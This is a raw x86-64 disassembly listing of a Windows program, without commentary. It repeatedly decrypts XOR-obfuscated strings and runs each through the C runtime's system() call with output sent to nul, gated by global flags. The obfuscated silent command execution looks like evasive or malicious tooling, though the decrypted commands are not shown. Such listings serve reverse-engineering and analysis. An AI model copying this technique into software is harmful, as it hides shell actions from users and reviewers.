lea rcx, [rbp + 0x2420]
call fcn.14002b440
lea rcx, [rbp + 0x2400]
call fcn.14002b440
lea rcx, [rbp + 0x23e0]
call fcn.14002b440
lea rcx, [rbp + 0x23c0]
call fcn.14002b440
mov edx, 0xe
lea rcx, [rbp + 0x24e0]
call fcn.140040450
mov edx, 4
lea rcx, [rbp + 0x2500]
mov rbx, rax
call fcn.140040450
mov edx, 3
lea rcx, [rbp + 0x2520]
mov rdi, rax
call fcn.140040450
mov rsi, rax
lea rdx, [rbp + 0x3c51]
xor eax, eax
lea rcx, [rbp + 0x33]
mov byte [rbp + 0x33], al
call fcn.14006c5a0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14004ceb1
xor r8d, r8d
cmp r15d, 2
jl 0x14004ce73
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004cd80
cmp r8d, 0x31
jge 0x14004ceb1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14004ce80
mov r8, rsi
lea rcx, [rbp + 0x2540]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2560]
call fcn.140073ce0
mov r8, rdi
lea rcx, [rbp + 0x2580]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x25a0]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x25c0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x25e0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x25e0]
call fcn.14002b440
lea rcx, [rbp + 0x25c0]
call fcn.14002b440
lea rcx, [rbp + 0x25a0]
call fcn.14002b440
lea rcx, [rbp + 0x2580]
call fcn.14002b440
lea rcx, [rbp + 0x2560]
call fcn.14002b440
lea rcx, [rbp + 0x2540]
call fcn.14002b440
lea rcx, [rbp + 0x2520]
call fcn.14002b440
lea rcx, [rbp + 0x2500]
call fcn.14002b440
lea rcx, [rbp + 0x24e0]
call fcn.14002b440
xor esi, esi
mov byte [0x14155749e], 0
cmp byte [0x14155749c], 0
je 0x14004d441
mov edx, 9
lea rcx, [rbp + 0x2600]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x2620]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x3d77]
xor eax, eax
lea rcx, [rbp + 0x34]
mov byte [rbp + 0x34], al
call fcn.14006c5d0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14004d151
mov r8d, esi
cmp r15d, 2
jl 0x14004d113
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004d020
cmp r8d, 0x32
jge 0x14004d151
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14004d120
mov r8, rdi
lea rcx, [rbp + 0x2640]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2660]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2680]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x26a0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x26a0]
call fcn.14002b440
lea rcx, [rbp + 0x2680]
call fcn.14002b440
lea rcx, [rbp + 0x2660]
call fcn.14002b440
lea rcx, [rbp + 0x2640]
call fcn.14002b440
lea rcx, [rbp + 0x2620]
call fcn.14002b440
lea rcx, [rbp + 0x2600]
call fcn.14002b440
mov edx, 9
lea rcx, [rbp + 0x26c0]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x26e0]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x3da9]
xor eax, eax
lea rcx, [rbp + 0x35]
mov byte [rbp + 0x35], al
call fcn.14006c600
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x14004d391
mov r8d, esi
cmp r15d, 2
jl 0x14004d353
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004d260
cmp r8d, 0x32
jge 0x14004d391
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x14004d360
mov r8, rdi
lea rcx, [rbp + 0x2700]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, [0x1400be8ac]
lea rcx, [rbp + 0x2720]
call fcn.140073ce0
mov r8, rbx
lea rcx, [rbp + 0x2740]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2760]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2760]
call fcn.14002b440
lea rcx, [rbp + 0x2740]
call fcn.14002b440
lea rcx, [rbp + 0x2720]
call fcn.14002b440
lea rcx, [rbp + 0x2700]
call fcn.14002b440
lea rcx, [rbp + 0x26e0]
call fcn.14002b440
lea rcx, [rbp + 0x26c0]
call fcn.14002b440
mov byte [0x14155749c], 0
cmp byte [0x14155749b], 0
je 0x14004d88f
mov edx, 9
lea rcx, [rbp + 0x2780]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x27a0]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x4005]
xor eax, eax
lea rcx, [rbp + 0x36]
mov byte [rbp + 0x36], al
call fcn.14006c630
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004d5e1
mov r8d, esi
cmp r15d, 2
jl 0x14004d5a4
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004d4b1
cmp r8d, 0x33
jge 0x14004d5e1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004d5b0
mov r8, rdi
lea rcx, [rbp + 0x27c0]
mov rdx, r10
call fcn.140073bb0
mov r8, rbx
lea rcx, [rbp + 0x27e0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2800]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2800]
call fcn.14002b440
lea rcx, [rbp + 0x27e0]
call fcn.14002b440
lea rcx, [rbp + 0x27c0]
call fcn.14002b440
lea rcx, [rbp + 0x27a0]
call fcn.14002b440
lea rcx, [rbp + 0x2780]
call fcn.14002b440
mov edx, 9
lea rcx, [rbp + 0x2820]
call fcn.140040450
mov edx, 2
lea rcx, [rbp + 0x2840]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x4038]
xor eax, eax
lea rcx, [rbp + 0x37]
mov byte [rbp + 0x37], al
call fcn.14006c670
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004d801
mov r8d, esi
cmp r15d, 2
jl 0x14004d7c3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004d6d0
cmp r8d, 0x33
jge 0x14004d801
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14004d7d0
mov r8, rdi
lea rcx, [rbp + 0x2860]
mov rdx, r10
call fcn.140073bb0
mov r8, rbx
lea rcx, [rbp + 0x2880]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x28a0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28a0]
call fcn.14002b440
lea rcx, [rbp + 0x2880]
call fcn.14002b440
lea rcx, [rbp + 0x2860]
call fcn.14002b440
lea rcx, [rbp + 0x2840]
call fcn.14002b440
lea rcx, [rbp + 0x2820]
call fcn.14002b440
mov byte [0x14155749b], 0
cmp byte [0x141557545], 0
je 0x14004dc65
mov edx, 8
lea rcx, [rbp + 0x28c0]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x4373]
xor eax, eax
lea rcx, [rbp + 0x38]
mov byte [rbp + 0x38], al
call fcn.14006c6b0
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x14004da21
mov r8d, esi
cmp r15d, 2
jl 0x14004d9e3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004d8f0
cmp r8d, 0x36
jge 0x14004da21
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x14004d9f0
mov r8, rbx
lea rcx, [rbp + 0x28e0]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2900]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2900]
call fcn.14002b440
lea rcx, [rbp + 0x28e0]
call fcn.14002b440
lea rcx, [rbp + 0x28c0]
call fcn.14002b440
mov edx, 8
lea rcx, [rbp + 0x2920]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x43a9]
xor eax, eax
lea rcx, [rbp + 0x39]
mov byte [rbp + 0x39], al
call fcn.14006c6f0
mov r10, rax
cmp byte [rax + 0x35], 0
je 0x14004dc01
mov r8d, esi
cmp r15d, 2
jl 0x14004dbc3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004dad0
cmp r8d, 0x36
jge 0x14004dc01
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x14004dbd0
mov r8, rbx
lea rcx, [rbp + 0x2940]
mov rdx, r10
call fcn.140073bb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2960]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2960]
call fcn.14002b440
lea rcx, [rbp + 0x2940]
call fcn.14002b440
lea rcx, [rbp + 0x2920]
call fcn.14002b440
mov byte [0x141557545], 0
cmp byte [0x141557499], 0
je 0x14004e0bf
mov edx, 0xa
lea rcx, [rbp + 0x2980]
call fcn.140040450
mov edx, r13d
lea rcx, [rbp + 0x29a0]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x41d0]
xor eax, eax
lea rcx, [rbp + 0x3a]
mov byte [rbp + 0x3a], al
call fcn.14006c730
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14004de11
mov r8d, esi
cmp r15d, 2
jl 0x14004ddd3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004dce0
cmp r8d, 0x34
jge 0x14004de11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14004dde0
mov r8, rdi
lea rcx, [rbp + 0x29c0]
mov rdx, r10
call fcn.140073bb0
mov r8, rbx
lea rcx, [rbp + 0x29e0]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2a00]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a00]
call fcn.14002b440
lea rcx, [rbp + 0x29e0]
call fcn.14002b440
lea rcx, [rbp + 0x29c0]
call fcn.14002b440
lea rcx, [rbp + 0x29a0]
call fcn.14002b440
lea rcx, [rbp + 0x2980]
call fcn.14002b440
mov edx, 0xa
lea rcx, [rbp + 0x2a20]
call fcn.140040450
mov edx, r13d
lea rcx, [rbp + 0x2a40]
mov rbx, rax
call fcn.140040450
mov rdi, rax
lea rdx, [rbp + 0x4204]
xor eax, eax
lea rcx, [rbp + 0x3b]
mov byte [rbp + 0x3b], al
call fcn.14006c760
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x14004e031
mov r8d, esi
cmp r15d, 2
jl 0x14004dff3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14004df00
cmp r8d, 0x34
jge 0x14004e031
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x14004e000
mov r8, rdi
lea rcx, [rbp + 0x2a60]
mov rdx, r10
call fcn.140073bb0
mov r8, rbx
lea rcx, [rbp + 0x2a80]
mov rdx, rax
call fcn.140073d50
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2aa0]
call fcn.140073ce0
mov rcx, rax
call fcn.14002b430
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2aa0]
call fcn.14002b440
lea rcx, [rbp + 0x2a80]
call fcn.14002b440
lea rcx, [rbp + 0x2a60]
call fcn.14002b440
lea rcx, [rbp + 0x2a40]
call fcn.14002b440
lea rcx, [rbp + 0x2a20]
call fcn.14002b440
mov byte [0x141557499], 0
cmp byte [0x141557544], 0
je 0x14004e495
mov edx, 0xd
lea rcx, [rbp + 0x2ac0]
call fcn.140040450
mov rbx, rax
lea rdx, [rbp + 0x406b]
xor eax, eax
lea rcx, [rbp + 0x3c]
mov byte [rbp + 0x3c], al
call fcn.14006c790
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14004e251
mov r8d, esi
cmp r15d, 2
jl 0x14004e213
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
